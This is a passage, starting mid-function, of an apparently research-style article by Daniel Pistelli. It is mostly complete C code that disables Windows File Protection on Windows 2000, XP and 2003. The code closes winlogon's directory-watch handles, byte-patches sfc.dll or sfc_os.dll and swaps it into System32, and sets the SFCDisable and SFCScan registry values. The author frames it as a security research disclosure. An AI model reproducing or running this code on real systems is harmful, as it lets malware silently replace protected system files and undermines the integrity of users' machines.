LONG Ret;

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

if (!GetVersionEx((OSVERSIONINFO *) &osvi))
{
   osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

   if (!GetVersionEx ((OSVERSIONINFO *) &osvi))
      return FALSE;
}


if (osvi.dwPlatformId != VER_PLATFORM_WIN32_NT ||
   osvi.dwMajorVersion <= 4)
   return FALSE;

hNtDll = LoadLibrary("ntdll.dll");
hPsApi = LoadLibrary("psapi.dll");

if (!hNtDll || !hPsApi)
   return FALSE;

// ntdll functions

pNtQuerySystemInformation = (NTSTATUS (NTAPI *)(
   SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))
   GetProcAddress(hNtDll, "NtQuerySystemInformation");
```

```
pNtQueryObject = (NTSTATUS (NTAPI *)(HANDLE,
   OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))
   GetProcAddress(hNtDll, "NtQueryObject");

// psapi functions

pEnumProcesses = (BOOL (WINAPI *)(DWORD *, DWORD, DWORD *))
   GetProcAddress(hPsApi, "EnumProcesses");

pEnumProcessModules = (BOOL (WINAPI *)(HANDLE, HMODULE *,
   DWORD, LPDWORD)) GetProcAddress(hPsApi, "EnumProcessModules");

pGetModuleFileNameExW = (DWORD (WINAPI *)(HANDLE, HMODULE,
   LPWSTR, DWORD)) GetProcAddress(hPsApi, "GetModuleFileNameExW");

if (pNtQuerySystemInformation    == NULL ||
   pNtQueryObject            == NULL ||
   pEnumProcesses            == NULL ||
   pEnumProcessModules         == NULL ||
   pGetModuleFileNameExW       == NULL)
   return FALSE;

// winlogon position

GetSystemDirectoryW(WinLogon, MAX_PATH * sizeof (WCHAR));
wcscat(WinLogon, L"\\winlogon.exe");

// set privileges

if (SetPrivileges() == FALSE)
   return FALSE;

// search winlogon

dwSize2 = 256 * sizeof(DWORD);

do
{
   if (lpdwPIDs)
   {
      HeapFree(GetProcessHeap(), 0, lpdwPIDs);
      dwSize2 *= 2;
   }

   lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2);

     if (lpdwPIDs == NULL)
      return FALSE;

   if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))
      return FALSE;

} while (dwSize == dwSize2);

dwSize /= sizeof(DWORD);

for (dwIndex = 0; dwIndex < dwSize; dwIndex++)
{
   Buffer[0] = 0;

   hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
      PROCESS_VM_READ, FALSE, lpdwPIDs[dwIndex]);

   if (hProcess != NULL)
```

```
      {
         if (pEnumProcessModules(hProcess, &hMod,
            sizeof(hMod), &dwSize2))
         {
            if (!pGetModuleFileNameExW(hProcess, hMod,
               Buffer, sizeof(Buffer)))
            {
               CloseHandle(hProcess);
               continue;
            }
            }
         else
         {
            CloseHandle(hProcess);
            continue;
         }

         if (Buffer[0] != 0)
         {
            GetFileName(Buffer);

            if (CompareStringW(0, NORM_IGNORECASE,
               Buffer, -1, WinLogon, -1) == CSTR_EQUAL)
            {
               // winlogon process found
               WinLogonId = lpdwPIDs[dwIndex];
               CloseHandle(hProcess);
               break;
            }

            dwLIndex++;
         }

         CloseHandle(hProcess);
      }

   }

   if (lpdwPIDs)
      HeapFree(GetProcessHeap(), 0, lpdwPIDs);

   hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId);

   if (hWinLogon == NULL)
   {
      return FALSE;
   }

   nt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize);

   while (nt == STATUS_INFO_LENGTH_MISMATCH)
   {
      uSize += 0x1000;

      if (pSystemHandleInfo)
         VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);

      pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize,
         MEM_COMMIT, PAGE_READWRITE);

      if (pSystemHandleInfo == NULL)
      {
         CloseHandle(hWinLogon);
         return FALSE;
      }
      nt = pNtQuerySystemInformation(SystemHandleInformation,
         pSystemHandleInfo, uSize, &uBuff);
   }

   if (nt != STATUS_SUCCESS)
   {
      VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
      CloseHandle(hWinLogon);
      return FALSE;
   }

   for (i = 0; i < pSystemHandleInfo->nHandleEntries; i++)
   {
      if (pSystemHandleInfo->HandleInfo[i].Pid == WinLogonId)
      {
         if (DuplicateHandle(hWinLogon,
            (HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
            GetCurrentProcess(), &hCopy, 0, FALSE, DUPLICATE_SAME_ACCESS))
         {
            nt = pNtQueryObject(hCopy, ObjectNameInformation,
               &ObjName, sizeof (ObjName),NULL);

            if (nt == STATUS_SUCCESS)
            {
               wcsupr(ObjName.Buffer);

               if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32") ||
                  CompareStringBackwards(ObjName.Buffer, L"WINNT\\SYSTEM32"))
               {
                  // disable wfp on the fly

                  CloseHandle(hCopy);

                  DuplicateHandle (hWinLogon,
                     (HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
                     GetCurrentProcess(), &hCopy, 0, FALSE,
                     DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);

                  CloseHandle(hCopy);
               }
            }
            else
            {
               CloseHandle(hCopy);
            }

         }
      }
   }

   VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
   CloseHandle(hWinLogon);

   // patch wfp smartly

   GetSystemDirectoryW(Buffer, sizeof (WCHAR) * MAX_PATH);
   GetSystemDirectoryW(Buffer2, sizeof (WCHAR) * MAX_PATH);

   wsprintfW(Buffer2, L"%s\\trash%X", Buffer2, GetTickCount());

   if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) // win2k
   {
      wcscat(Buffer, L"\\sfc.dll");
   }
```

```
else // winxp, win2k3
{
   wcscat(Buffer, L"\\sfc_os.dll");
}

hFile = CreateFileW(Buffer, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
   NULL, OPEN_EXISTING, 0, NULL);

if (hFile == INVALID_HANDLE_VALUE)
{
   return FALSE;
}

dwFileSize = GetFileSize(hFile, NULL);

pSfc = (BYTE *) VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);

if (!pSfc)
{
   CloseHandle(hFile);
   return FALSE;
}

if (!ReadFile(hFile, pSfc, dwFileSize, &BRW, NULL))
{
   CloseHandle(hFile);
   VirtualFree(pSfc, 0, MEM_RELEASE);
   return FALSE;
}

CloseHandle(hFile);

ImgDosHeader = (PIMAGE_DOS_HEADER) pSfc;
ImgNtHeaders = (PIMAGE_NT_HEADERS)
   (ImgDosHeader->e_lfanew + (ULONG_PTR) pSfc);
ImgSectionHeader = IMAGE_FIRST_SECTION(ImgNtHeaders);

// code section

pCode = (BYTE *) (ImgSectionHeader->PointerToRawData + (ULONG_PTR) pSfc);

// i gotta find the bytes to patch

for (dwCount = 0; dwCount < (ImgSectionHeader->SizeOfRawData - 10); dwCount++)
{
   if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
      pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
      pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
   {
      bFound = TRUE;
      break;
   }
}

if (bFound == FALSE)
{
   // cannot patch
   // maybe w2k without sp1

   goto no_need_to_patch;
}

// patch

pCode[dwCount] = pCode[dwCount + 1] = 0x90;
```

```
   // move dll to another place

   MoveFileW(Buffer, Buffer2);

   // create new dll

   hFile = CreateFileW(Buffer, GENERIC_WRITE, FILE_SHARE_READ,
      NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

   if (hFile == INVALID_HANDLE_VALUE)
   {
      // cannot patch

      VirtualFree(pSfc, 0, MEM_RELEASE);
      return FALSE;
   }

   WriteFile(hFile, pSfc, dwFileSize, &BRW, NULL);

   CloseHandle(hFile);

no_need_to_patch:

   VirtualFree(pSfc, 0, MEM_RELEASE);

   // modify the registry

   Ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
      L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
      0, KEY_SET_VALUE, &Key);

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   BRW = 0xFFFFFF9D;

   Ret = RegSetValueExW(Key, L"SFCDisable", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   BRW = 0;

   Ret = RegSetValueExW(Key, L"SFCScan", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   RegCloseKey(Key);

   return TRUE;
}

void main()
{
   if (TrickWFP() == TRUE)
   {
      // ok
   }
   else
   {
      // wrong
   }
}

// --------------------------------------------------------------------------
```

I hope system security will get better... If I was working at Microsoft I would sure help them to improve such things! Just one thing: I haven't tested the code on Win2k personally, but who tested told me it works.

That's all folks!

Daniel Pistelli